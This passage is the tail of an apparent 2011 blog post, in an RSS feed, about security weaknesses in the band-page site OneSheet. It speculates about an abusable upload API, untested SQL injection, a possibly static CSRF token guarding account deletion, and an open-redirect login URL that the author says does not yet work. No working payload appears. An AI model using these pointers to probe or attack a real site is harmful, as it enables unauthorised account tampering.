<p>The background images script used on the site seems proprietary, but it uses what appears to be a very simple API to upload the files. Anyone with a little free time could analyze this further and I think you&#8217;ll find that it&#8217;s publicly available as well and eventually does an <strong>HTTP POST</strong> back to the same background page used by the color changer. I didn&#8217;t spend much time on this one, but it&#8217;s almost certainly possible.</p>
<h1>Things to Ponder</h1>
<h3>SQL Injection</h3>
<p>With all the URL mishaps I wouldn&#8217;t be surprised to find some SQL injection lying around on the site. I didn&#8217;t try, but it certainly wouldn&#8217;t be surprising.</p>
<h3>Account Deletion</h3>
<p>There are links to delete accounts in the control panel. There is some cross site request forgery (CSRF) protection present&#8211;I did a couple tests on my own OneSheet pages while logged out&#8211;so it&#8217;s not <strong>incredibly</strong> easy to delete accounts that don&#8217;t belong to you. It&#8217;s just using a token stored in a hiddle input field though; I&#8217;m not even sure this token is changing between logins though, so this may not be very safe.</p>
<h3>Cross Domain Redirection</h3>
<p>Previously I discussed this exploit <a title="Xanga Cross Domain Redirection Exploit" href="http://www.techblogistech.com/2011/07/xanga-cross-domain-redirection-exploit/" target="_blank">using Xanga as the example</a>. It appears something similar is being implemented on OneSheet, though it doesn&#8217;t seem to work yet. It also may be a bit safer since it doesn&#8217;t include the domain name, but their track record has already ruined any trust I would have in them.</p>
<pre>http://www.onesheet.com/accounts/login/?next=/swib</pre>
<h1>Lessons Learned</h1>
<ul>
<li>New websites can easily become playgrounds for malicious users</li>
<li>Where there&#8217;s one exploit, there&#8217;s another</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/07/onesheet-exploits-how-to-edit-any-bands-onesheet-andor-use-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
